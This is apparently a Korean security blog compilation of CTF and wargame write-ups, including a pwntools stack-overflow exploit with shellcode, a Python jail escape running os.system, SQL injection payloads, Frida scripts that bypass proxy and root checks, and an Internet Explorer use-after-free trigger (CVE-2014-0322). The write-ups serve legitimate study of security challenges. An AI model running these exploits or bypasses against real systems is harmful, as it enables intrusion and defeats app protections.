- 암호연산 : c = m^e mod n  ( m ** e % n )

- 복호연산 : m = c^d mod n  ( c ** d % n )
key = RSA.construct(n,e,d)










2. 점검툴


- yafu (인수분해 등) 
factor(0x192873aba29290cbade10) => p, q 로 분해

- openssl 
> openssl rsa -in pubkey.pem -pubin -text -modulus
Modulus (256 bit):
    00:d8:e2:4c:12:b7:b9:9e:fe:0a:9b:c0:4a:6a:3d:
    f5:8a:2a:94:42:69:b4:92:b7:37:6d:f1:29:02:3f:
    20:61:b9
Exponent: 12405943493775545863 (0xac2ac3e0ca0f5607)
Modulus=D8E24C12B7B99EFE0A9BC04A6A3DF58A2A944269B492B7376DF129023F2061B9
writing RSA key
-----BEGIN PUBLIC KEY-----
MEIwDQYJKoZIhvcNAQEBBQADMQAwLgIhANjiTBK3uZ7+CpvASmo99YoqlEJptJK3
N23xKQI/IGG5AgkArCrD4MoPVgc=
-----END PUBLIC KEY-----

- rsatool


- rsactftool

$ RsaCtfTool.py --dumpkey --key ./pubkey.pem
[*] n: 98099407767975360290660227117126057014537157468191654426411230468489043009977
[*] e: 12405943493775545863

- sympy  :  수학기호 사용 모듈 ( x = symbol(x); x+y 등)
http://docs.sympy.org/latest/tutorial/solvers.html#a-note-about-equations 








3. 문제유형


1. RSA 
- 키 인수분해 크랙(bit 수가 너무 적은 경우)
- 이미 분해된 인수(codegate 2013? 유형, ex: SSL pcap decrypt)
- lsb oracle attack


2. DES/AES
- padding oracle attack




## ETC ##

RSA 곱셈의 성질

- 암호문 cipher2, cipher5 가 있다.
- (c2 * c5) %n) 을 복호화 한 것은 m2 * m5 와 같다.
=> ((c2 * c5) % n)^d mod n == m2 * m5 
 
(2 암호문 * flag %n) ^d mod n == 2 * flag 평문


codegate 2018 miro writeup

2018. 2. 6. 19:29


하다보니 다음 문제.. 이번 문제는 Miro(crypto) 다. 자신없는 암호 문제지만 도전!


Miro


주어진 파일은 miro.pcap, client.py  2개다. 하나는 패킷인데 TLS 암호화 패킷이고, client.py 는 미로 게임에 접속하는 클라이언트이다.



문제 서버에 접속하면 미로 게임을 풀어야 하는데 l, r, u, d 4 개의 방향을 이용하여 움직여야 한다. 문제는 주어진 클라이언트는 r, d 만 있다는 것.



결국 miro.pcap 을 decrypt 하는 수밖에 없다. 검색을 해 보니 최근에 이런 비슷한 문제가 출제되었던 것을 확인할 수 있었고, 동일한 방식으로 풀이가 가능했다.(링크 참고)





https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/%5B%5Droot





hello packet 중 server hello 에 certificate 정보가 포함되어 있고, 그 안의 modulus 를 이용하여 인수분해가 가능하다는 내용이다.








공개된 소스를 이용하여 돌리니 수초만에 아래와 같이 p, q 가 분해(?) 되어 나왔다.








이제 정보가 있으니 rsatool 을 이용하여 인증서를 만들어 주면 끝난다.


hyunmini@~/Desktop/06.CTF/2018/codegate$ python ./rsatool.py -p 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497  -q 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027 -e 65537 -o priv.pem

Using (p, q) to initialise RSA instance


n =

1c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b

0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf

70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644

c864a06cd586d480b


e = 65537 (0x10001)


d =

1a5c9d3a21a9be4b8b52aaeb1b8a6f36e039485a4167bc03fb52ebe58a270d81e65211fcccaf6f49

d9e1d36b8ce0d2f3df4a790a1e575990458b18a51082138265f3b909c7155c173def686e4387b98a

9fe6ec917551d8095783b21eb98798ffb1324957b6dbf944ce591c8099a1e2f4787a28804c995964

c059d02749dfe5b81


p =

1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c6a8184e3f75c6f3786c

0832d301372ad3165d600adf637cda4efbc99adb6185bafa1


q =

1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c5fe0d14ef4f564011aa

270cd326b5dcc69fb2bd76673357a9fa1399581abc231c82b


Saving PEM as priv.pem





이렇게 만든 인증서를 wireshark 에 넣어주면 decrypt 된 패킷을 볼 수 있다.


TLS 패킷 우클릭 - RSA Key List - + 버튼 누르고 아래처럼 적어주면 된다.



192.168.18.129,  443,  ssl,  priv.pem





그러면 이제 해독된 패킷 내용을 살펴보자. l, r, u, d 모든 패킷을 확인할 수 있고, 이 확인한 명령어를 이용하여 코드를 수정해 준 후 미로를 풀어주면 된다. 


이미 서버가 죽어있어서 플래그는 확인할 수 없었으나 물어보니 이렇게들 풀었다고 한다.(?)






while 1:
    data = recv_until(tls_client, "Input : ")
    print data
    #message
    user_input = raw_input()
    
    if user_input == "u":
        tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n")
    elif user_input == "d": 
        tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n")
    elif user_input == "r":
        tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n")
    elif user_input == "l":
        tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n")
    else:
        print "Invalid input!"
        exit()    


끝.

'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28


풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.




Impel Down





 접속해보면 pyjail 이라는 문구와 escape 를 통해 python 이며 악의적인 입력값으로 python code 를 실행하라는 것을 알 수 있다.




name : test
========
[day-1]
################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
##############################################

tool
test : ~~~~




 먼저 이름을 입력받고, 다음으로 작업을 입력받아서 실행시켜준다. 작업란에 특수문자, 괄호 등을 넣어보이 파이썬 쉘 에러를 확인할 수 있었다. 이걸로 확실히 python code execution 문제라는 것을 알 수 있다.

예전에 보았던 비슷한 문제가 있어서 그떄의 기억을 소환해 우선 로컬엣 테스트 해 보았다. import os 없이 명령어를 실행시킬 수 있는 방법이 몇가지 있는데, 아래는 그 중 한가지이다.



>>> ().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')

uid=501(hyunmini) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)



 하지만 이 문제에서는 길이값 제한 및 '_' 제한 떄문에 안됨. 테스트 결과 약 40여 글자가 넘어가면 에러가 발생함.

삽질하다가 결국 찾은 방법은 name 부분에다가 공격 문자열 넣어놓고 아래와 같이 불러오는 것.



name = "__import__('os').system('ls -al')".encode('hex')


dig(), eval(your.name),






아래는 전체 exploit 코드이다. 

# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======

실행결과

======

################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
###############################################

dig(),eval(your.name.decode('hex')),
 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1

total 16
drwxr-xr-x 2 root root 4096 Feb 5 22:30 .
drwxr-xr-x 4 root root 4096 Feb 5 22:30 ..
-rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py
-rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh



풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다. 


'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

codegate 2018 - rbsql writeup

2018. 2. 6. 11:04


코게 2018 예선문제 풀이.


사정이 있어서 풀타임 참석은 못하고 저녁에 좀 풀고, 대회 끝나고 나서 서버가 닫히기 전에 웹문제만 풀어봤다.





rbsql



접속해 보니 아주 익숙한(몇년째 대회에서 보고있는 -_-;;;) 홈페이지가 나온다.


소스코드가 주어져서 분석을 해보니, 데이터베이스 대신 파일을 DB 로 사용하는 웹사이트이다.


회원 가입 시 스키마 파일에 파일명을 추가하고, 테이블 대신 파일을 생성한다. 


그리고 생성된 파일에 특정 포맷으로 데이터를 저장하고 읽어온다. 결국 그 과정에서 어떤 취약점이 발생할 것으로 생각했다.


스키마 파일은 제공되지 않아서 직접 만들어 주었다.(md5 형님 제공)





소스 코드를 분석해보니 포맷은 아래와 같았다.



문자 : \x01 + 길이(1byte) + 문자

배열 : \x02 + 길이(1byte) + 문자 또는 배열,...





그리고 파싱함수(rbParse) 를 살펴보면 저 위의 포맷대로 파싱해서 값을 읽어온다. 


문제는, 길이값이 1byte 라는 것. 1byte 인 데다가 256 글자까지 입력이 가능하므로, 256 글자를 입력하면 \xff + 1 = \x00 이 된다.



hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(255);' | xxd

00000000: ff                                       .

hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(256);' | xxd

00000000: 00




즉, 길이값의 인티저 오버플로우를 이용하면 그 다음 항목을 마음대로 조작할 수 있다는 것이다.


umail 에 256 글자를 집어넣으면 파싱할때 길이값이 0이므로 umail 은 바로 파싱이 끝나고 다음 항목으로 넘어가게 되는데,


이때 ip 와 level 을 조작할 수 있다. 가장 중요한 것은 level 을 2 로 바꿔주는 것이다.(admin) 




umail: '\x01\x20c4ca4238a0b923820dcc509a6f75849b\x01\x0dx.x.x.x\x01\x32' + 'AAAAAAAA...'   (전체 256 글자)



요렇게 해서 보내면 된다. 





아래는 python 코드






요렇게 가입하고 로그인하면 flag 가 뙇

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

pwnable.tw - start [100 pts]

2018. 1. 5. 11:10

pwnable.tw - start [ 100 pts ]






pwnable.tw 풀이 시작!! (했는데..생각보다 쉽진 않네요 ㅎㅎ )


풀이 우선으로 하고 시간날 때마다 조금씩 정리해 보려고 합니다.






100 점 짜리 시작 문제이다. 우선 코드를 살펴보자.




write 와 read 시스템콜만 존재하는 매우 간단한 프로그램이다. 


문자열을 push 로 스택에 밀어넣고 write 해주고, read 로 사용자에게 입력을 받은 후 add esp, 0x14 를 통해 exit 를 호출한다.


add esp, 0x14 의 주소를 무조건 호출하고 있기 때문에 read 를 통해 해당 주소까지 값을 입력해주면 원하는 주소로 eip 를 변경해줄 수 있다.






0x41414141 로 EIP 를 변조했으니 이제 원하는 코드를 실행시킬 수 있다. 보호기법은 없지만 스택주소가 랜덤으로 바뀌기 때문에 jmp esp 를 쓰거나 또는 leak 을 해야 한다. 



gdb-peda$ asmsearch "jmp esp"

Searching for ASM code: 'jmp esp' in: binary ranges

Not found


jmp esp 는 없으니 mov 를 이용해 leak 을 하자.



gdb-peda$ asmsearch "mov ?,esp"

Searching for ASM code: 'mov ?,esp' in: binary ranges

0x08048087 : (89e1) mov    ecx,esp



해당 코드는 write 직전의 코드이기 때문에 결국 esp 를 ecx 에 넣고 write 콜을 해서 스택 주소를 leak 할 수 있다.


  



그리고 또 이어서 아래의 read 를 통해 두번째 입력을 해 줄 수 있다.


 이제 릭을 해온 스택 주소를 이용해서 버퍼주소로 ret 를 덮어주면 공격에 성공할 수 있다



# ex_start.py

#!/usr/bin/python from pwn import * # set context context(arch='i386',os='linux') # print info log.info("[*] pwnable.tw (start) exploit by hyunmini") # load and connect #r = remote("127.0.0.1",8000) r = remote("chall.pwnable.tw",10000) e = ELF('./start') rop = ROP(e) ### stage 0. leak stack addr log.info(" stage 0. leak stack address") leakgadget = p32(0x8048087) # mov ecx, esp / write syscall => leak stack addr payload0 = asm('nop')*20 payload0 += leakgadget r.recvuntil(':') r.send(payload0) leakaddr = u32(r.recv(4)) log.success(" leak addr : 0x"+hex(leakaddr)) ### stage 1. exploit log.info(" stage 1. exploit!") # make payload #shellcode = asm(shellcraft.dupsh(4)) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload1 = asm('nop')*20 payload1 += p32(leakaddr+20) payload1 += shellcode r.sendline(payload1) log.success(" [+] Success!! got shell") r.interactive()



끝~


영어 공부삼아 심심풀이로 영어 기술문서 번역을 해 보려고 합니다. 여기서 작업하다 완성되면 PDF 로~


======================================================




브라우저 부수기 : 취약점 발견부터 Exploit 까지



Chen Zhang (@demi6od) 

NSFOCUS Security Team 

demi6d@gmail.com 

https://github.com/demi6od Date: 2014 August 28 th





1. 브라우저 퍼징 기술 


1.1  요약 


  이번 장에서는 먼저 제가 개발한 퍼저 프레임워크(StateFuzzer)와 그 안의 퍼징 전략들을 소개합니다. 그리고 퍼징결과를 기반으로 관련 취약점과 효율적인 퍼징 아이디어에 대해 이야기를 나눌 것입니다. 




1.2 브라우저 퍼징 소개


 1.2.1 취약점 발견 

  

   1. 화이트박스

       코드 리뷰

           예제 1: MWR labs 

                      Chrome type confusion, static_cast (CVE-2013-0912) 

           예제 2: Pinkie Pie 

                      2012 Pwnium (6 different bugs escape Chrome sandbox) 

                      2013 Mobile Pwn2Own (integer overflow) 

       자동화된 코드 리뷰 

           Fortify source code analyzer 

           Rough auditing tool for security (RATS) 


   2. 블랙박스

       퍼징 


 1.2.2 Browser Fuzzing Technology 

   

   1. 정적 퍼저 - HTML 과 Javascript 테스트 케이스를 생성

     1) Krakow Labs 에서 개발한 bf3 와 같이 flash 등의 수집된 멀티미디어 문서 템플릿을 기반으로 변형 

     2) 브라우저 스펙에 기반한 생성

reversing.kr - CSHARP

2017. 10. 25. 00:54


reversing.kr CSHARP



C# 리버싱 문제다. 근데 툴로 디컴파일이 제대로 안된다. 쉽게 풀지 못하도록 해 둔 듯 하다. 






이 말은 반대로 디컴파일이 제대로 되지 않는 함수만 분석하면 된다는 뜻과 같다. 


보통 이런 문제는 동적 호출 등으로 실행 중에는 보여지도록 하는 경우가 많으니 디버깅을 하면서 살펴보려 했으나...


당 함수가 호출도 안되고 디버깅이 제대로 되지 않아 처음에 사알짝 헤맸다.




 자세히 살펴보니 method reflection (동적 호출) 을 하고 있어 디버깅이 되지 않는 것으로 확인했다.








.ctors 를 살펴보니 동적 호출하는 함수의 특정 바이트를 조작해주는 부분이 있었다. 





이 부분에 브레이크 포인트를 걸고 확인해 보자. 디컴파일이 되지 않던 메소드(MetMett, 동적으로는 Form1.bb) 의 바이트들을 전부 바꿔주는 것을 확인할 수 있다.



dnspy 에서는 어셈으로만 바꿔줄 수 있고 바이트 코드를 바로 고칠수가 없어서 그냥 헥스에디터 열어서 직접 바이트를 고쳐줬다.



위는 고치기 전, 아래는 바이트 코드를 실제 동적으로 수행되는 코드로 변경해준 상태.(디컴파일 잘된다 우왕)



이제 코드를 보고 키값을 코딩으로 뽑아주면 끝~



끝~!!


'wargame > reversing.kr' 카테고리의 다른 글

Reversing.kr - replace  (0) 2017.10.23

wargame.kr - Crypto Crackme Basic

2017. 10. 24. 22:12





C# 프로그램 리버싱인듯 하다. 얼마전 악성코드 분석하다 알게된 툴 중 닷넷 관련 괜찮은 디버거&디컴파일러를 찾았다. 

dnspy 라는 툴인데, 무료임에도 불구하고 유료 버전 툴보다 UI 도 예쁘고 디컴파일도 잘 된다. 게다가 디버깅도 쉽게 된다. 

아마 앞으로 이 툴만 쓰게 될 듯 하다.



제목이 cryto 라서 살짝 겁먹었으나 몇 분 안 걸려서 풀었다. basic 이니까...


dnspy 로 디컴파일 해서 보니 소스코드는 매우 짧았다.




핵심은 저 노란줄이다. name 은 BluSH4G 여야 하고, password 는 myEncrypt 를 거친 후의 암호화된 값과 어떤 값을 비교한다. 


우선 myEncrypt 를 살펴보자.



아주 깔끔하게 암호화 방식, key, iv 를 모두 보여주고 있다. DES 이니 그대로 그냥 코드만 짜면 된다.


암호화된 값과 비교하는 값을 만들어 주는 함수를 살펴보면 아래와 같이 워게임 서버에서 받아온다. n 은 name 이다.




접속해보면 아래와 같은 암호화된 값을 뿌려주는 것을 볼 수 있다. 위에서 확인한 암호화 함수를 이용하여 복호화 함수를 만들어서


아래 값을 복호화 하면 끝인듯 하다.


파이썬 몇줄로 간단하게 샤샤샥



C:\> dec.py

key is ********~~~


풀이 끝~



'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06

Reversing.kr - replace

2017. 10. 23. 22:59


reversing.kr - replace 문제 


reversing.kr 문제입니다. 간단하게 요점만 정리.


다이얼로그에서 사용자에게 입력값을 하나 받고, Correct 와 Incorrect 를 출력해준다.(에러 발생)


IDA로 살펴보면 어셈코드로 점프와 콜을 몇 번 해놔서 디컴파일 소스는 좀 이상하게 보인다.




한줄씩 디버거로 트레이싱 해보면, 결국 특정 코드에서 에러가 나는데, 아래처럼 특정 주소값을 0x90 으로 채우려다 에러가 난다.


주소값은 입력값 +1 을 해주면  +1 이 되는 것으로 보아, 결국 저 값으로 뭔가 조작하면 됨을 알 수 있다.


좀 더 분석해보면, correct 출력해주는 부분이 끊어져 있는데, 바로 위의 jmp 어셈블리어 때문이다. 


해당 어셈블리어를 0x90(nop) 로 덮어쓰도록 해주면 답이 나온다. 


계산은 12345 를 입력해 본 뒤 주소값 확인 후 0x100401071 - 0x60163604 + 12345 해주면 된다.




'wargame > reversing.kr' 카테고리의 다른 글

reversing.kr - CSHARP  (1) 2017.10.25



이번 문제도 SQL인젝션 문제라고 한다. 역시 친절하게도 Simple SQLi (blind) 문제라고 알려준다.


채팅을 웹으로 구현해 놓았는데, 페이지 수가 2개인가 밖에 없어서 취약점은 쉽게 찾을 수 있다.


몇번 입력 후 chatview.php 페이지에 취약점이 존재함을 확인했다.




  /web_chatting/chatview.php?t=1&ni=30215{인젝션}





 그런데~~ 인젝션 중 특정 조건이 되면 전체 쿼리를 다 가져오려고 시도해서 응답이 매우매우 느려진다.

(문제 힌트에서 개발자 관점으로 부하를 줄여보라는 걸 보니 일부러 그렇게 구현해 놓은듯)


잠시 고민하다가, 아래처럼 해결했다.


/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=1+then+2+else+1+end)

/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=2+then+2+else+1+end)


계산 후 ni 값이 바뀌기 때문에 가져오는 대화 내용이 다르다. 늘 사용하던 스크립트로 샤샥



db 잘 가져오는걸 보니 이제 flag 가 있는 테이블만 찾으면 될 듯 하다.


테스트 해보니 ' 는 막혀있기 때문에 아래처럼 like 구문을 이용했다. mysql, information_schema 가 아닌 테이블(=사용자 테이블),칼럼명 조회




select concat(table_name,char(0x2c),column_name) 


from information_schema.columns 


where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and 

           table_schema not like 0x6d7973716c and 

           table_name not like 0x636861745f6c6f67 limit 1





해당 테이블을 조회하면 flag 가 들어있었다. 끝.

'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06

wargame.kr - Simpleboard(600)

2017. 9. 12. 15:46

한동안 문제 안풀었더니 감이 떨어진듯 하여 문제 풀이 시작.



simpleboard 


simple SQL인젝션 문제. union 인젝션이라고 대놓고 알려주는데, 스크립트가 필요할 거라고 한다.(없이 풀었..)






게시판이다. 소스를 보면 아무런 필터가 없으므로 그냥 union 인젝션이 가능하다.


idx=1 union select 1,2,3,4--




테이블명을 group_concat(table_name) 으로 이것저것 뽑아보다가 admin 관련 테이블이 없는지 확인해보려고 %adm% 을 넣었는데


readme 테이블이 얻어걸림 -_-;





escape_string 함수 때문에 ' 문자가 \' 으로 변경되므로 우회를 위해 0x7217273~~ 와 같은 식으로 써주면 된다.


-1 union select (select group_concat(column_name) from information_schema.columns where table_name like 0x726561646d6525),2,3,4-- 


update 쿼리에서 에러나지 않도록 cookie 체크 하는 부분에도 동일하게 넣어줘야 함. 끝.

 



'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06


 가끔 앱해킹을 하다보면 특이한 환경 때문에(난독화 등) 사용자 일반 함수를 후킹해야 할 때가 있다.

 When I analysis app, need a hook at user function sometimes in an unusual environment(obfuscation, check jailbreak, etc).



 이럴때 Frida 를 이용해서 후킹이 가능하다. 

 In this case, frida can be used to hook.

 


 후킹은 일반적으로 함수 주소를 구해오는데, 사용자 함수는 심볼이 없으므로 offset 을 동적으로 구해와야 한다.

 Hooking is usually set to function address, the user function must obtain the offset dynamically because there are no symbols.



 결론 : 앱 실행 후 base 주소를 얻고, offset 을 더해준 주소에 후킹을 걸어주면 된다.

 conclusion: after running the app, obtain the base address and add the offset. then you can set a hook to the address.

 

var module_base = Module.findBaseAddress('testapp');  // get base addr
var custom3_5fdfd4 = module_base.add(0x5fdfd4);   // add function offset

 Interceptor.attach(custom3_5fdfd4, {   // set hook
    onEnter: function (args) {
        send("[S] !!!!!!!!!!!!!! custom3() called");  // before call
    },
    onLeave: function (retval) {
        //send("[W] custom3 ret: " + retval.toString() );  // after call
    }
});


 끝~

 the end~

'iOS App Hacking' 카테고리의 다른 글

ios app 복호화 - Clutch 2.x 버전  (0) 2017.02.14
iOS App Debugging - LLDB  (1) 2015.08.18
iOS App Runtime 조작  (0) 2015.08.17
ios app hacking - (1) ios app 의 구조  (0) 2014.02.03

bypass proxy check using frida

2017. 8. 8. 15:12



모바일 앱중 proxy 체크를 할때, frida 를 이용해서 우회하기.

bypass proxy check on android device(using frida hooking)



var System = Java.use("java.lang.System"); if (System.getProperty){ System.getProperty.overloads[0].implementation = function(prop){ send("[S] called : system.getProperty("+ prop.toString() +")") if (prop.toString().toLowerCase().indexOf("proxy") > -1){ send("[W] bypass proxy check : " + prop); return; } var ret = this.getProperty(prop); send("[W] ret value : " + ret.toString()); return ret; } }




자주 느끼는 거지만 프리다 참 좋다.

frida is awesome!


최근에는 주로 모바일 앱 후킹시 frida 를 이용하고 있는데, 안드로이드 느린 앱을 후킹하려고 하다 보면 가끔 아래처럼 


타임아웃 메시지가 나오며 죽어버리는 경우가 있다.


이 경우 해결방법.



 hyunmini:02.dbi $ python dbi.py

Traceback (most recent call last):

  File "dbi.py", line 73, in <module>

    main(target_process)

  File "dbi.py", line 54, in main

    pid = frida.get_usb_device().spawn([target_process])

  File "/Library/Python/2.7/site-packages/frida/core.py", line 85, in spawn

    return self._impl.spawn(argv)

frida.TimedOutError: unexpectedly timed out while waiting for app to launch




...

pid = frida.get_usb_device().spawn([target_process])

...



앱 실행하는 위 코드에 timeout 인자값을 주면 됨(;;)



...

pid = frida.get_usb_device(timeout=10).spawn([target_process])

...



이제 잘 된다.


 hyunmini:02.dbi $ python dbi.py


>>>> Start Native Hooking <<<<

[+] find open() address: 0xf6fda1af

[+] find fopen() address: 0xf6ff658d

[+] find access() address: 0xf6fd7d65

[+] find stat() address: 0xf6fdb125

[+] find strcasecmp() address: 0xf6ffd39d

[+] find strcmp() address: 0xf6fd66dc

[!!] Starting Java Hooking...

Runtime.loadLibrary: soundpool

Runtime.loadLibrary: authmanager

Runtime.loadLibrary: webviewchromium

Runtime.loadLibrary: webviewchromium_plat_support

Runtime.loadLibrary: NS*****

Runtime.loadLibrary: ap1.7.8

Runtime.loadLibrary: a****

[+] Hooking /data/app/com.*****-1/lib/arm/lib****.so!****1


[*]  bypass rooting check : called - *****()





아래 공개된 Exploit 코드를 참고 했습니다.


http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/


단, 공개된 calc 파일 생성 Exploit 이 아닌 약간의 수정을 거친 코드입니다.(modified by hyunmini)


================================================================================================



위의 게시물에도 적혀있듯이, CVE-2014-0322 + Godmode Exploit 을 이해하려면 생각보다 많은 추가 지식이 필요 하다.




앞에서 Int32Array 객체의 length 를 변조하여(00 00 00 16 => 20 00 00 16)  1 byte 변조 만으로 info leak 및 ASLR 우회가 가능함을 확인했다.


CVE-2014-0322 취약점(inc 1 byte Use-After-Free)을 이용하면 1 바이트 증가시킬 수 있다. 이를 이용하여 DEP/ASLR 을 우회하여 공격이 가능하다.







#### CVE-2014-0322 분석 ####



C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe +ust +hpa


Current Registry Settings for iexplore.exe executable are: 02001000

    ust - Create user mode stack trace database

    hpa - Enable page heap




<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> // 최신 브라우저로 동작하도록 해줌. 호환성모드 무시하고 동작하도록 해줌 </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; // free } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>





(578.8a8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=254ccfa0 ecx=77d463e0 edx=00171078 esi=2b652cc0 edi=2556cfc8

eip=6307100c esp=0a67b540 ebp=0a67b5a8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:2b652d38=????????




0:013> dd esi          // dangling pointer (uaf)

2b652cc0  ???????? ???????? ???????? ????????

2b652cd0  ???????? ???????? ???????? ????????

2b652ce0  ???????? ???????? ???????? ????????




0:013> !heap -p -a 2b652d38


    address 2b652d38 found in

    _DPH_HEAP_ROOT @ 171000

    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

                                   2b710f08:         2b652000             2000

    6e2c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2

    77db69d4 ntdll!RtlDebugFreeHeap+0x0000002f

    77d79e5b ntdll!RtlpFreeHeap+0x0000005d

    77d46416 ntdll!RtlFreeHeap+0x00000142

    763bc584 kernel32!HeapFree+0x00000014

    62ee8f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026

    62eb55da MSHTML!CBase::SubRelease+0x0000002e

    62ee4183 MSHTML!CMarkup::Release+0x0000002d

    632b14d1 MSHTML!InjectHtmlStream+0x00000716                   // CMarkup 해제하는 함수 호출함

    632b1567 MSHTML!HandleHTMLInjection+0x00000082

    632acfec MSHTML!CElement::InjectInternal+0x00000506

    632ad21d MSHTML!CElement::InjectTextOrHTML+0x000001a4

    6319ea80 MSHTML!CElement::put_outerHTML+0x0000001d   //  this.outerHTML = this.outerHTML;

    634a309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054

    6dee847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185

    6dee92c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf

    6df46c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8

    6df1c53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf

    6dee5cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305







#### UAF 객체 확인하기 ####



0:013> bp mshtml + 0x22100c

0:013> .restart    // 재시작 후 아무거나 클릭 


0:012> r

eax=00000000 ebx=079b2158 ecx=cd160735 edx=00000000 esi=0c87f9a8 edi=0cbef9f8

eip=6307100c esp=048ea760 ebp=048ea7c8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:0c87fa20=00000002



0:012> !heap -p -a esi

    address 0c87f9a8 found in

    _HEAP @ 3a0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

